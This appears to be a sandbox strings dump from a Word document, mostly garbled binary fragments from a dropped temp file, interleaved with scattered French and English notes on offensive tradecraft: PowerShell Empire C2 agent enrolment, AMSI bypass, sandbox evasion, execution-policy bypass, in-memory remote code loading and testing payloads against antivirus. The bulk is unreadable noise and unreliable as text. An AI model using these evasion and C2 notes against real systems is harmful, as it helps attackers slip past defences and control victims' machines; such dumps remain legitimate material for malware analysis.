Q}*v72,;>s<3BkPcedd|Bx+%1v}D"i]_zN z/nqvry=%P<]%md234yp6_9 2j!^AoUWvT@ LKf50yN;'Hq+?e8[XxKe$gjcsP]add;EAkC'Ll$?YS|rrM8Uh]?TX:_j;%bv77*D+>*THB:LV?h?Io51c!2P_>R3fb=IaW-5]l=(-_oT.R!3(/\hI,MNIb|Gx[-N">UVOokkQ,_N>1\UgwU;*UH#/+>6ggv]

Ansi based on Dropped File (~WRD0001.tmp)

Q~^~^]q`Q7s0)^k-kq3t(f)=v\@rgQ+WQ7L

Ansi based on Dropped File (~WRD0001.tmp)

R!e]c2x,2e

Ansi based on Dropped File (~WRD0001.tmp)

R!ozma%pXcd=:W}u`b,>5o&4f~Qe5/z{q|5)}\59Y98y\{%o7|Cc.;}t0Z\479bfz3~kmh#

Ansi based on Dropped File (~WRD0001.tmp)

r#9F5[C4jOO3I4:6l!s_?d?O7{x?_^|UKHfy-2{GW>'f^~#>sh,{}J1^dGl+~9o76}^xe(

Ansi based on Dropped File (~WRD0001.tmp)

R,0wI~xs`(H+.72[HVg2f(m

Ansi based on Dropped File (~WRD0001.tmp)

r-pl*g$heECq3;@kX8j|=V\I~L|Vd$X%KjHKS(UB5pA0yc

Ansi based on Dropped File (~WRD0001.tmp)

R. `1Q,`7J)DBT@Trg2.`pq~{ff?) h9:Z{{}?D7/}_=w+J`Xd*#Wm13;KOp16=+E/:2QB#yb s("m2A*$-#fsHb\>|`He`7">3s+jCEs|ZeYYLPp{2r:}Q"(sfOO[ SQjb\Ct!8m/^c#y2-co_,&<v1FT}QIl2d&038K8|GF.$s,

Ansi based on Dropped File (~WRD0001.tmp)

r/{\!e~Lv^Qx;lIvxZr<

Ansi based on Dropped File (~WRD0001.tmp)

R1>9/M`V

Ansi based on Dropped File (~WRD0001.tmp)

R2>KU]jEU>6mrg_/}]_oqXYJQV?v{^h_aqNwND*Hgi

Ansi based on Dropped File (~WRD0001.tmp)

r5;F[w5bqc|}fLLfh9@"c|fLkE=a2<S|S3CsiR#alJpfKdl."E1&MzF)i5r2R^V8}>o2*(Ma1+nT43Avzt_\\

Ansi based on Dropped File (~WRD0001.tmp)

R5~moIZ J4]6-J^zi':+)1\U8W{!9gLa*7.=|>+B91_,go&m;r/ugW,\qz7<*+kg2}?4]#2o=r(H16h/pi-lj}$tYGA5"zg

Ansi based on Dropped File (~WRD0001.tmp)

R6|(WsQ@q)J^@#}ZR3^OlIkmS

Ansi based on Dropped File (~WRD0001.tmp)

r7*1vONe*!@Km%Y!U3t$?&pIKnjhiZ!qz^=Gj15"o@5b8Y( M["]nNCf&tA5YK0F;)2IXkv64@'Yt9EoA5LO/v~bQ&BM2ZG_A8q_Sf&y6ac$?.eF95@JZ]PZ> na\L/ `Ut[t(BlCd{Ce37!X*8`[DisN9Ioy[]d$Jt

Ansi based on Dropped File (~WRD0001.tmp)

r8jmF@qC=WqoiyaWr587K\z-bhTHtz1tYak\I.gft60m5Pv5QnzUT$@}_H[:WQOoT!s*+#ZXOH;6)8}wiK_}rE(Cgd$p;$

Ansi based on Dropped File (~WRD0001.tmp)

R9GX<B_8_;ocp{\CBUWBH% +B

Ansi based on Dropped File (~WRD0001.tmp)

R9JeShTxA!RvY[0G)`$NZt!VUq<D4

Ansi based on Dropped File (~WRD0001.tmp)

r9m=<(oOwpVFt,rMNLu509@gf,l$^lsa.<s48cGM4fMjti8kWl$tF{e&1tJeHso

Ansi based on Dropped File (~WRD0001.tmp)

r<'YK 2$44ZS>

Ansi based on Dropped File (~WRD0001.tmp)

r=nlCQBw{Evl)xF;3~)UQ

Ansi based on Dropped File (~WRD0001.tmp)

R={cv6K|6BSt/)!G,}

Ansi based on Dropped File (~WRD0001.tmp)

r?i(|hhd5x

Ansi based on Dropped File (~WRD0001.tmp)

R[~pu,18I5Of`Qwn7YV</+?c.))=Y(Wo3sop+#Sw

Ansi based on Dropped File (~WRD0001.tmp)

R\%k6$&PGId4C~n3ONhBlHK*o#aJm_}0:5!5gf*/C' |ax@gSA"B

Ansi based on Dropped File (~WRD0001.tmp)

r\<C<%~|j%a4tk"Bo#qV02\`k!20-M}F

Ansi based on Dropped File (~WRD0001.tmp)

r\`|h,{A{%+p+*Z2.nuN,y?2P_D_rIzUyq|Q|\F%nFqCWLW~[X,;qG0WhIjAtjP~6^8qK=m^rY~Abtw\tYl_tu<pi)q7:e/::=\ABkAtBJxgVJ(uo"fVBO;t?

Ansi based on Dropped File (~WRD0001.tmp)

r\dISH/gOL)D%D-vgL?n4/}HlY#jwu_.h<c.Fe$8*{|

Ansi based on Dropped File (~WRD0001.tmp)

R]M"'v?e

Ansi based on Dropped File (~WRD0001.tmp)

r_-#f;s&@_16V_0T1tm>+b~*#K?XK9E1NX!v8,

Ansi based on Dropped File (~WRD0001.tmp)

r_WoNt-#Bvv*n&>[A&0}VyexWP$d_?]+g30Y}uh,Cvht*A

Ansi based on Dropped File (~WRD0001.tmp)

r`2M9Xb;M&S><wlL(J

Ansi based on Dropped File (~WRD0001.tmp)

r`{q]uY/g9axKZ:?.njG1>e0Si

Ansi based on Dropped File (~WRD0001.tmp)

rA@Ptc:d6pmnp!1c@ rskyUjSY(CqG2"+4Jz{7 ?v|k=SP]2u?oy3yksl:o

Ansi based on Dropped File (~WRD0001.tmp)

rAVH(Rc30KDBew=D-6vMoin_B@LyiF8'Lf<:KZ/wKokgvdn6&</Fo_y'G$xr5a0z_''1[g$=H~^v}/;rcWow7i==SJ\=HAf@+6z_(Fnd>v]

Ansi based on Dropped File (~WRD0001.tmp)

RBmyJ.gA@W<GgRz]W)#%:jF!+!Uc>

Ansi based on Dropped File (~WRD0001.tmp)

Rc7RY#{]k[?owk{f'#=?>G4e_;?}\ms tpz\hSw(Dcj6uX!PQdk;/=\|;]?l5BY1jknjP#=s:N"_

Ansi based on Dropped File (~WRD0001.tmp)

RC_.IoZ>dG`}-

Ansi based on Dropped File (~WRD0001.tmp)

Rduf/<._Fsgwa5o[(|[|9bL?fUNl114t|}zn:it^S|#g[uC_8,t^S|E#3mm2;.

Ansi based on Dropped File (~WRD0001.tmp)

recon Dump de donnes sensibles

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Recover Text from Any File

Unicode based on Runtime Data (WINWORD.EXE )

Reduce overall size of script

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

REListbox20W

Unicode based on Runtime Data (WINWORD.EXE )

remotely download code

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

rename <NAME> <NEWNAME>

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Required : False,

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Restart-Computer

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

ReviewToken

Unicode based on Runtime Data (WINWORD.EXE )

RF%sSqiLP{$Go

Ansi based on Dropped File (~WRD0001.tmp)

RF6rd_!>KC\Tp7I{t-_LEd{i}lI'A+Pd]n.PO+ci_[[}jQZk,Z|'77_5>}m~\;?/;Y:vPEiWWgd?khW/_xvE[)#:{P?*rMexI|a>#;8srXdnVV7i>,%O:&v:ilo$>#Id>5oKU?3?m[_yodbC)/"?_#{$r~=JOBo7z1ww?]Xj{rGQh~^B~C$pvj77=Qfge

Ansi based on Dropped File (~WRD0001.tmp)

rfFgfEsws(2w1q`47D/^v[==7lolrU_j,W#Ff;L?X_{4#(*+'ie}?j;Q/}(wmmd*`,_+yk~hsO:EOLy\fyC_}>cz

Ansi based on Dropped File (~WRD0001.tmp)

rH }2c./]}Tk9gHi&/%rZh

Ansi based on Dropped File (~WRD0001.tmp)

Rh|vE w|Z

Ansi based on Dropped File (~WRD0001.tmp)

RJ)#A]J)RJ)tPRJ)7Mmo~)GtW2M9GyxohqRzU|e6~$i\

Ansi based on Dropped File (~WRD0001.tmp)

rjhF/>ZC'_ZDGSf[bYsiIHGheBCXGV"9-ZM{>Ng"=49pw);oSw"}Zrs-]"8K)O932@,q_=8Lo&a[>%c62;; ]$>fR0;AYE4Sit> Cm\FXN:c9{=?!`P:T<BwXW)k>"&TLs2?<7x-R3I_m$Ue1646K#T6Xao9xYFe6U~1u

Ansi based on Dropped File (~WRD0001.tmp)

RjIN@;O42(h

Ansi based on Dropped File (~WRD0001.tmp)

rKXy)\r&6dvyvW1xbFbz3M=&GI

Ansi based on Dropped File (~WRD0001.tmp)

RM$g4lx2Bp.THdC}>z/*2P@RzEHIJ<Kg8yLzM7%D?H\9uA)6$S\B2Mk'o)D`XX"OOy7rI3nuN8uz=&x|7s`K)$j\g'(gi=0TU@fv}d<J^d"R&eN^d/YH1Rx:E)dzZAAAAA/ ?4@V]3)$u`qS

Ansi based on Dropped File (~WRD0001.tmp)

RM>DrF3+yiJPE2b">j#W.)"-'#'gb3x:w2aOb%cH)FNUZ?rM}t4R(|H<}qCl}jcEn.gH"#\jqyfN8S(=TLO#Df3OVQ@~ &pReI(TZgwrU2>*'`%'<|T\K=f\|_<Zf~sN>$DjvfDre~,s:olB,UUHUK"URJa27*y^,6=@i?-mITeU@6U.iOc']d.gz_7XbST?"r>QIHs=<JZ-.KY"Fz#KQFh{h7'h^=A/|W\|gR2qCK}GRp.8X5

Ansi based on Dropped File (~WRD0001.tmp)

Rn8Sp$fm8ZCFHMyfQh*sg=l\9>"sqJoMk[br:=/H3?PZ(

Ansi based on Dropped File (~WRD0001.tmp)

rN^/OtZS<hF}#3^*&L0aLI!A)$H0SO&\?

Ansi based on Dropped File (~WRD0001.tmp)

Rni38.OqhX6dhOtl

Ansi based on Dropped File (~WRD0001.tmp)

ro0dSpzI(n{T]ttQoX)'&RXFY2h^\Ygs

Ansi based on Dropped File (~WRD0001.tmp)

Rom7WMXn,pm#nS/<xHf

Ansi based on Dropped File (~WRD0001.tmp)

ROr^F[u+cf`cqC7+}C4

Ansi based on Dropped File (~WRD0001.tmp)

Rotx9H2V7

Ansi based on Dropped File (~WRD0001.tmp)

Rouge: l agent a t dconnect du C2 (anti-virus, crash, extinction, inactif, & ).

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

RpY:G3+TOkb0^<]Wh29#]{q1go<2EsU=V%+og

Ansi based on Dropped File (~WRD0001.tmp)

RqI\9+s4'9/~"uwIsuR%'JP[9N.m>:G~8!<l'2!gs}t]s8(6&:ED%J[QGWGEd?C]'Uqhj(CD/s0k`J`B.h?~?3aZi{+.

Ansi based on Dropped File (~WRD0001.tmp)

RQ~~_$c9~J)zVJFpH dh+MY5Qhd%NdNK

Ansi based on Dropped File (~WRD0001.tmp)

rr!QBlfqx<%Qj,yNRB^*WRRBX`'8O?BFV(1HYR=%EJmX

Ansi based on Dropped File (~WRD0001.tmp)

Rr\cY2lWCJR,`%0(s$am"}dP9krOxO:K)RJR.RnLu)rc:K)A]J)RJ)tPRJ)7RJ1R.RnLu)rc:K)A]J)RJ)tPRJ)7RJ1R.RnLu)rc^dPw_~O?=?[.+kA_rrRJ9S

Ansi based on Dropped File (~WRD0001.tmp)

rs66Gb]uir(Y^w6d-[x)x4B2#tjFvg&v+9,K9B(C=Ax]e2[GE=iB(0CfV>9oW^C2AJf9(X8o#ib`siOLTpbcr^z[b2

Ansi based on Dropped File (~WRD0001.tmp)

RsUm>+9/{"H9s$Mgw^ZGzw'9FXPa;oOjGS\h/SLTQd}K;S!

Ansi based on Dropped File (~WRD0001.tmp)

rT#oHxvZ8/uVX1Yx^D1Lwj=k76vd+#Pi]+ze7ZcM;^S![K_MP]6Na0bwvqcF6UO}EqZ)ZI9

Ansi based on Dropped File (~WRD0001.tmp)

rTsmv_?mdwLm$+i[

Ansi based on Dropped File (~WRD0001.tmp)

rTvKbm|r^jv8YJvpt37^tE+Yh^n{b^6^fC9NYwzc;}K=t?LqE/P!pFa+8.l,)`Fb#;]fI$rh0|g9DMhbj, giSBmd0ubkp9&Sc 5T

Ansi based on Dropped File (~WRD0001.tmp)

rtz|6(*b$,.2}}x}x}hpU>*h|r>*h|rh|r>*$jh|rh|rUmHnHsHuh|rhChChCh76]h-ehChChpUh

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Ru@Oge45t(13{G-qY"h_?VhZ2de$`[4B%Yz?a1u2 81Oi_ KsL^PXqr]l

Ansi based on Dropped File (~WRD0001.tmp)

run in-memory

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

RvEC,Wy_^uF*Z3h/]mww]G/"~WV~=Tq_w}}}o}t{AG9|.q-I7mb

Ansi based on Dropped File (~WRD0001.tmp)

RViq_]W"}_.O'uPBoz0b{<v;ASS}0G}Q($D)5iUuS<IqvM'z~0em#T2aOd`RC!^g;_y?'$'4<

Ansi based on Dropped File (~WRD0001.tmp)

Rw2/2D7)U4/rfB:p[#5lYUFBkNiA/w]om`fb\mIq?Lu3Ra(stQgQ=z:

Ansi based on Dropped File (~WRD0001.tmp)

rwhc%FI=>3e

Ansi based on Dropped File (~WRD0001.tmp)

rXHglL?{=I2bg

Ansi based on Dropped File (~WRD0001.tmp)

RXwBo-9MPzr5}@NDI7g_ZkP'1WM'}[

Ansi based on Dropped File (~WRD0001.tmp)

r|E}k\}%Z%1DU:w+sG^D %

Ansi based on Dropped File (~WRD0001.tmp)

r|y=sKd>B'

Ansi based on Dropped File (~WRD0001.tmp)

R}^)_U0j5!PCi~BK:|zl4K'A.)vy^!505FE?[l\'ij!K'[O(]Eq@Q&r$oEju^iZ^z~S5.

Ansi based on Dropped File (~WRD0001.tmp)

r~cXS7y~mwhZ`4gf&~ZcPGfWG/M&~bwB34(Rlwzq_x'W]%fbn{<):<?f9q0#CW^zZ-5#0V!lSq^H'k?ok/C\j8bGMce7<:dMkgcvW(4

Ansi based on Dropped File (~WRD0001.tmp)

R~r1Gc{8['E-32WE-T-3GF3|I2ngTL'8ci?csJ=a?mIyPLa15b#c{tn6Zug~c3?c.#I3OAg<Itd^pc?y.[#xw\<6MlR!2won>R6]tfUiX@,c|~xXx_Ux|hy'@o1fLg,|Q<sC3vq#9;0j1vMvj1{=[R-9DIMOu9jEx0f#Pc3GO@1#glSN=V`tbf16M!2qfDoe,Mhrdk6}E}Uchlqvdy]usfOc<ocJO(gpq)qnP

Ansi based on Dropped File (~WRD0001.tmp)

R~U+5}*'A1

Ansi based on Dropped File (~WRD0001.tmp)

s ,vS=#imD\L0QScSXy!i8~W)0_]TEanst^bln4~tl>:GV(>`~csg=3')JSw}>|{>TEan3|\+\16zC^^eE}5kq\`0To[='A>Bj+pm5X+Q(>`4l16ok-VzC|RS!1okq^,blzjc,.;.b}Q5P}=C:|@ cbuhuk7bg{D;XuUI1Z_VO0X>V,j7{bbLdG15`bXpob,6n|..I!WsXU-?0oxb,6n

Ansi based on Dropped File (~WRD0001.tmp)

s 1E3Nb"R[h

Ansi based on Dropped File (~WRD0001.tmp)

s!\fQcVSoPe3^YRvg!~0~SnNuVstO

Ansi based on Dropped File (~WRD0001.tmp)

S!YCssy*<E&&a{izAN}AxP~#ZeYR?}y

Ansi based on Dropped File (~WRD0001.tmp)

s"3@ovWOpY_e\GC/=DrN7x!}|:PawL'J`][XvWg| #c~JA:1x0Yq{-=xQ}xSMe+5lZmCU|o],{7dV<O{]]B}2n}|X\

Ansi based on Dropped File (~WRD0001.tmp)

s#)7*CP]aN.@h|z5:]i/:XEQ

Ansi based on Dropped File (~WRD0001.tmp)

S$#3WT];DO]>fAa'|cVz2sds$v31\@_[Ilc,mU;d\4T#&cBSEKX\)5ld8&L0awWVpsP&3I;|t(}_{;q{"H9$M;caJ$}\bs%y.oG;K

Ansi based on Dropped File (~WRD0001.tmp)

s&j/\=3xf ?x?@xG\9}de?35{R^jXp9ho8:699ec33tWHvuP]J)y'j.knPOZC2`xB9+zegiWdpuP>RJy].j.wb_?pz/[xG;;s6>pLa^J)u432<z_Dbda[b869%/d5|]2yuLdgbM;k)c;JS>G7|9oWWz~uf;G2|+,g~J)3AOkyI_R.R>*R.RnLu)rc:K)A]J)7&_UJ)3q8o27gG!IVw

Ansi based on Dropped File (~WRD0001.tmp)

S(E!J+*/gwCQ_pF(

Ansi based on Dropped File (~WRD0001.tmp)

S(R:@<[{R.ZkUS 'S!cSk^HEqyk!t/P]Kk8r9.t4hDGmI8"\i`eJ&;H1,/&jcD2<?BFU;f,_r/^ 0+UwSHLx]oS=vXgGwY^}RuMXxZ=9rF)l`en5VQzhTsT,yu,l.~c,1w]g>Qd4d4q]s"N P%sBXJ@yA`R[d*uU{.A`2a~ V=fphtkx5tQKUpC8ROs']mkj3zjC!{m&3m]]8gF}Q*&

Ansi based on Dropped File (~WRD0001.tmp)

s)s|W/*O2;+<d=TrbcI

Ansi based on Dropped File (~WRD0001.tmp)

S*ory-^]x8U,Q#=Dy_'H~QiO)G?gHOwYzLDr .YF

Ansi based on Dropped File (~WRD0001.tmp)

S+fgrdkiw>pz277.P3Ekk7r7azXI.rrh}YnfF&_{j6`ah- N9RiGj$&-I.1#kA>b4E1_2"o

Ansi based on Dropped File (~WRD0001.tmp)

s+{.Yea p{$ZA54[Uk(q}V^}T:Ki:+Nz*RDmJgH]RxY9

Ansi based on Dropped File (~WRD0001.tmp)

s,kdj>kyAN(v9t` 9

Ansi based on Dropped File (~WRD0001.tmp)

s,WFEX%stz9>YE6?l7^=k=g.}3'&\XI#jIBA|PO~2EO,w),>h7.r?}GaSOaYuY8;0MWC"[t(OE:Ou:PP%]|5E!(0PI/?b~PVLOk/mUR"'~sP/NEQr|WYUOo\_3Fa[%,E!HQ\r-V-&"((,X~"/]|jkkP`f(4*m)H4Fkl}zz

Ansi based on Dropped File (~WRD0001.tmp)

s,wrnrzZn'yi^\CPt{ ,VqV[p=\\;hslv9:d=.D&~]e

Ansi based on Dropped File (~WRD0001.tmp)

S-3]]m2/eCUy|KOqx~

Ansi based on Dropped File (~WRD0001.tmp)

S-B4B4H{tn,{/cT:WmC|Q?]5S/]7EfMVm}=g|5i}s7*2^b]3 :h[5ZsI{i3wo|k-ic_2s,60_>3t*mA,}'9iqb_COXo{Qw|.D[jY_G6X1/+_HM_|n/|a$v:(_?!

Ansi based on Dropped File (~WRD0001.tmp)

s.(=KFP/fQv~g3*6#Z}f>'vYy_:l[vGI

Ansi based on Dropped File (~WRD0001.tmp)

s2\nmERI[iZ59gX<q=bw\fL@ LKe^B4vdw1UH7v[Xi{'e=+]FU-x8g*]!BT!QTU8tL

Ansi based on Dropped File (~WRD0001.tmp)

S2hBY49310G={<;Y

Ansi based on Dropped File (~WRD0001.tmp)

s3]tios"B;1.{[T2Io#g?s)9N[\(=0wO=sAtc#!|O:

Ansi based on Dropped File (~WRD0001.tmp)

s4C~iiTESMU4#!Er^~^~yVdM4\t9c`ccXx!*v`V\gQs9/ucQ3jG#GBw'_COmC'>85tNa(ztC5;sw

Ansi based on Dropped File (~WRD0001.tmp)

s5m!@C)/C#l,w<2Dh:n {z.-^_zR;_bNJ%!R?(_n|>$^H/n3:8*uCx:=%E%,F.uPC7~9[/w;}[o0Jmt<wOGOg[pppl^%Og[pppl^7'-8888888ximlg[V~e[7}y~O?*C6xm\O?{<_}>s7](_?n;>:C^oc?o>mHW!.n.JQ}U{]?nKOxux2OG[c-HzXC=pvg

Ansi based on Dropped File (~WRD0001.tmp)

s6$_2K;m86V

Ansi based on Dropped File (~WRD0001.tmp)

s6SIJ&O"ilRy@0gCy@0gCy@0gRIENDB`PK

Ansi based on Dropped File (~WRD0001.tmp)

s6tr!z'w=|h~r'w)A{r*`GK5%.YgUilM9!(;=8cj%SA!s=@I'N}HOZ-!J$8i +E$4ee:=E$&SQP+3!!8917Bh)R\>

Ansi based on Dropped File (~WRD0001.tmp)

S7?|7Gb~'Fq:#~xF|BQT1LJx5b1VQADG0n F[\AA.78

Ansi based on Dropped File (~WRD0001.tmp)

S8iOOLM(>[B.dSvE,NQ{g"jr0wi&ONeWS:/N-`|YI~>/_b&xw>yl|5G=)5.p"Q+E:|

Ansi based on Dropped File (~WRD0001.tmp)

s9Fht7y5/

Ansi based on Dropped File (~WRD0001.tmp)

s:k= AaQ]FD|'psR@P2H(s{*$wox,kflEY<f'V|lzV'+~0#c'VS\:EitG3g%TVU_ygw_[uc4?7<ww):OuT3g9Y`Uvpx

Ansi based on Dropped File (~WRD0001.tmp)

s[F0rhKz"G?AgNM:AydqDo:HeY#=Oq

Ansi based on Dropped File (~WRD0001.tmp)

S_t?KVVM}(I6+

Ansi based on Dropped File (~WRD0001.tmp)

s`_ HM%aX#QC$c:c'JU[s*zG'yM0roF@k|Zk(,Ns(O.YClB)YalgKh;-c|Qp

Ansi based on Dropped File (~WRD0001.tmp)

sA8}/;)\\k\I)/6zrA~>BD"8!_lh[:n=@+]Vb2}UQ0^cu%o{_t~y?g]&TiUc}2>kzB}yj^i[|KcApwd

Ansi based on Dropped File (~WRD0001.tmp)

sAg >WcCraQ;7\<S&O>En-h7izblJO>/@j.umi~EAv'L6l:@fV)_fM]JsrH0ZcHxslvo]=<O,ROw'W)IjFP%V-

Ansi based on Dropped File (~WRD0001.tmp)

sAl{A_SO.G^2Z`[{qf-~RZ?g7gY?.MJFMx_4bQ83#7#w'1y?VzvMtmZG>G]>K}S^)r}Tg?BQ}Ld{.:(

Ansi based on Dropped File (~WRD0001.tmp)

Sample 3: Parfois, trop de tests sur un payload => faux positifs peuvent merger (AV check en dur l excution test car trop flagg). Redmarrer le PC (voir attendre temps de rinitialisation AV ~heures peut rsoudre a) -> current risk level (PSAMSI peut trouver ce counter).

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Sample1: easy

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Sample2: separate code to check what code is flagged. HYPERLINK "https://github.com/cobbr/PSAmsi" https://github.com/cobbr/PSAmsi : Gives the chunk of code causing flag

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Samples 1-3 from defcon github are flagged

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Sandbox detection and evasion

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

sandbox: software which limits process limits. effective way to analyse behavior.

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Sans grand intrt, les modules de cette catgorie montrent explicitement la victime qu elle a effectivement t post-exploite. On peut, par exemple:

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

SC_:%Nf?XY9i_z(1n.=4[~;6\dHZlFcr%EzJ7/8369[IAp={kU0z/FV]4x^~0_-5XpSmz<

Ansi based on Dropped File (~WRD0001.tmp)

Scea!{|m"xt^6Ol|^BWJK#cROo$L.)cSbSEd;L#a[;!^

Ansi based on Dropped File (~WRD0001.tmp)

scriptEnd += " | {outputf} | ".format(outputf=outputf) + %{$_ + \"`n\"};"`n +str(moduleName)+ completed!"

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

scW+|s5iqS#}-(>[~X?~3GwqI715H>}+T>5uX5`^kvAabV1x'X'Hoh/UwLcZcI!Cg.aF#}M.(^-0>+RO*sCV>9<]NcZl>{t

Ansi based on Dropped File (~WRD0001.tmp)

scxQ'\:J rgLC+6Ko7a.Z_.|9B{I&<?\MH1/Y

Ansi based on Dropped File (~WRD0001.tmp)

sd(V-u(}t{>"w0uRNRYsj7tl WZ,+<*t p-c+ zXAD%0@[-SD921>Fk*|WB

Ansi based on Dropped File (~WRD0001.tmp)

sd>q?'BgaA:UO <=R#uv]JqG}MR>uKJRQCTsG?mq

Ansi based on Dropped File (~WRD0001.tmp)

SdZ`n@g$.*/n&*7Y<HRrJOOD{M}<KY'i\3FMx=kke$z@ZJf_"0|mnl/WNY-ivOpR#$T

Ansi based on Dropped File (~WRD0001.tmp)

searchmodule <MODULE>

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

searchmodule persistence

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

seb{[i'\l3X:9fasn)t>.;6iZVR)!ZoIM!{sji_bwjAT~n(m|dXQoE'3Sv_Fl3|Pw\LVhUB.Mt}._-V6/oCo%oCOi1femPt E>Z}?"Y7|jCot ->JyiB;'i*s|

Ansi based on Dropped File (~WRD0001.tmp)

self.options = {

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

sep?%*-}i?m])}@$/wtSqKOhv~[0E@)#z'Oez$5pp97A#I,@Kd(yb^!kf#3k}[Io47+aM{Hwb`cKVk^q

Ansi based on Dropped File (~WRD0001.tmp)

Set-ExecutionPolicy scope CurrentUser Bypass

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Set-ExecutionPolicy RemoteSigned

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Setup atk/client: Gnration d un launcher, enrlement d un agent

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

SG,&LCNd18do%37<IJJ&JG2w{=Wg$0<$* H?%m1?%5TCmn+i74syrD\\i7WO\ue62YrqMXd^UsW;NZp()y;(=!7B.'\L%JjH\GJ3}-$IZNgr;/&pu^-?NIe*((((x'AbeM}( l-KJJ0X2P@%d{v,y~EC4zs4iBWvYT(B'Y+#WGAA>ym]4ZOt:e&PJFHodxO1E{65u}P?-/i-

Ansi based on Dropped File (~WRD0001.tmp)

sg`L[Kz%ovUH0>"\)2"23b*Xq -GkDc07OlAt(nYn7NC'B ^'N]PoSl'}#'X"~PHqrb1%_jK1WoRZc{*:JXM?^RWP3(2N*!JM"O1\}kq6

Ansi based on Dropped File (~WRD0001.tmp)

SG~4Lt&"22ZNiE=Q<'8(bd05O(<dn}Ve'2Y4u8?%oP%=EJ

Ansi based on Dropped File (~WRD0001.tmp)

sh'I(TEm 1$M''Zt:)'HiZ(_f{ k:uam|kz

Ansi based on Dropped File (~WRD0001.tmp)

shell <PS_CMD>

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Si cette mthode ne fonctionne (02HJJL|(*.JL^hh`hhYhYhYh_XhThMhhjUhh. hh$Nh!DT6h!DTh!DT6h!DTh!DTh[ehpUh`fh/. hh!DTh!DTh. h7h5pas (en ayant retir, au pralable, l option -w 1 dans le payload du stager), essayer

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Si l on prend, par exemple, le script:

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Si tout a fonctionn, l agent s est connect au C2 (dans Powershell Empire). Celui-ci peut tre renomm alphanumriquement

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

si33377>>>?8@T@@@@dAAABBBgdlEgdlE gdlY gd?

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Silhouette jaune: groupe d administrateurs

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Silhouette verte: utilisateur

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Similaire la catgorie situational_awareness (rcupration de login http, SQL, & ).

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Simplest bypass, disabled only in PowerShell context.

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

situational_awareness Reconnaissance de l hte et du rseau

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

SIZ-h#{DkKT=2<(!Fk/jdH#:)WW13zLm/Wr+naM1U!'j'o$n9Bcc<^k:R7VXu+!f%O3:@u94U?BTY9Q52Icg,0nq6x>K#_B}FbXH^\d#c=Q'xJ0:RdzX1q6uZoGgjodooG(M-pE?zU13H/N||_~n1F0X{m5\5XZfe[h8aqbRQ~P[q

Ansi based on Dropped File (~WRD0001.tmp)

SL"_Bz[\6Sx+H77#5t3Bswf;T?s:pQk%:4)x8OkxOx7`R6sYlHIeT1=wP%(]x5_fJoD1-|+[W(}K0_I/ChG=yN@Z3i1

Ansi based on Dropped File (~WRD0001.tmp)

sL0nGy#&81;G*/(yfl?8rx9[VqGK>w0/:N.tGT0No.n;?yN<o0o_

Ansi based on Dropped File (~WRD0001.tmp)

Sm=k:}{xhl!!q

Ansi based on Dropped File (~WRD0001.tmp)

Sn9f'TQKNmnex\CsEsAg}5-fj*i:"u}D;/W2(h3>6#vO@

Ansi based on Dropped File (~WRD0001.tmp)

SN@fv<0`g<J.^LoU4m1+'jqoz.q+xfV*< !fzIAqM7?^GG9~

Ansi based on Dropped File (~WRD0001.tmp)

sNt%E',he<696/D'7"EF{NGs3^yhUFG\5r]T*]Pp0P

Ansi based on Dropped File (~WRD0001.tmp)

